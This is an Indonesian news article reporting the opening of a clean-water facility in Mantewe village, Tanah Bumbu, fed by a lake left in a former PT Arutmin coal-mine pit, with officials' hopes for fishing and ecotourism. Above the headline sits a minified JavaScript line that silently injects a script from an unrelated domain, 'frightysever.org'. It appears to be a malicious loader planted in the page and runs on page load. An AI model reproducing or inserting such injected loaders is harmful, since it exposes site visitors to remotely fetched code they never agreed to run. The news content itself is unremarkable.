(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Danau Eks Tambang Disulap Jadi Air Bersih Kebutuhan Masyarakat Mantewe, Bisa Dijadikan Lokasi Ecowisata

KANALKALIMANTAN.COM, BATULICIN – Bupati Tanah Bumbu (Tanbu) HM Zairullah Azhar meresmikan sarana air bersih untuk masyarakat Desa Mantewe, Kecamatan Mantewe, Kabupaten Tanbu, Sabtu (26/3/2022) sore.

Saat peresmian sarana air bersih tersebut Dandim 1022/TNB Letkol Cpn Rahmat Trianto dan sejumlah Kepala SKPD Kabupaten Tanbu.

Sarana air bersih disediakan dari program Pengembangan dan Pemberdayaan Masyarakat (PPM) lingkar tambang PT Arutmin Indonesia Tambang Batulicin.

Bupati Zairullah sangat mengapresiasi atas kepedulian dan perhatian untuk Masyarakat Tanah Bumbu khususnya pada kawasan lingkar tambang PT Arutmin Indonesia yaitu Desa Mantewe.

“Ini sangat bermanfaat untuk masyarakat, kita ketahui di Desa Mantewe ini belum ada instalasi pengolahan air PDAM, karena jaraknya yang sangat jauh, dan kebanyaakan warga menggunakan air sumur,” katanya.

Dengan adanya sarana air bersih yang bahan bakunya diambil dari danau pasca tambang PT Arutmin Indonesia Tambang Batulicilin sangat membantu masyarakat Desa Mantewe.

Komandan Kodim 1022/TNB Letkol Cpn Rahmat Trianto turut mengapresiasi kabar baik tersebut. “Saya sebagai Komandan Kodim 1022, sangat mengapresiasi kepada PT Arutmin Indonesia Tambang Batulicin, karena kita tahu melestarikan lingkungan hidup itu tidak bisa hanya satu pihak saja,” katanya.

“Kalau saya perhatikan saat ini danau bekas tambang yang dikelola kembali oleh PT Arutmin Indonesia Tambang Batulicin terlihat sangat indah sekali, dimana airnya bisa dimanfaatkan untuk orang banyak,” katanya.

“Saya berharap danau bekas galian tambang yang airnya sudah dinetralkan, serta disterilkan ini, tidak hanya airnya saja yang bisa dimanfaatkan, juga tempat ini bisa menjadi obyek wisata untuk Kabupaten Tanah Bumbu,” harapnya.

Sementara Kepala Teknik Tambang PT Arutmin Indonesia Tambang Batulicin, Iwan Sugiarto Kusnadi mengatakan bahwa danau ini adalah danau pasca tambang, sebetulnya terbentuknya danau ini merupakan lubang bekas tambang.

Untuk luasan danau ini sekitar 76 hektare dan kedalaman mencapai 100 meter, diperkirakan menampung air sekitar 20 juta meter kubik. Kemudian, airnya disuplai dengan instalasi pipa air ke desa sepanjang 1.350 meter dengan biaya 350 juta rupiah.

“Berjalan seiring waktu PT Arutmin Indonesia Tambang Batulicin merehabilitasi dan terisi airnya lalu menjadi danau,” jelasnya.

“Kami harapkan danau ini bisa bermanfaat untuk masyarakat Kabupaten Tanah Bumbu, yang pertama untuk sumber daya air keperluan sehari-hari, bahkan untuk air minum pun juga Insyaallah air ini juga sudah layak,” sampainya.

Kenapa bisa dikatakan layak, karena pihaknya selalu melakukan pemantauan rutin setiap bulan. Jadi secara kualitasnya sangat memenuhi untuk baku mutu untuk air minum.

“Yang kedua air danau ini juga bisa dimanfaatkan untuk budidaya perikanan, budidaya ikan di sini sedang diteliti, sebelumnya juga sudah ada penelitian yang dinyatakan hasil budidaya ikan di danau ini sangat aman, tidak ada unsur-unsur logam yang dikhawatirkan oleh masyarakat,” bebernya.

“Ketiga danau ini bisa dimanfaatkan sebagai ekowisata atau juga eduwisata, dimana diharapkan kepada masyarakat sekitar agar bisa memanfaatkan dan menjaga potensi akan danau pasca tambang ini,” tutupnya. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie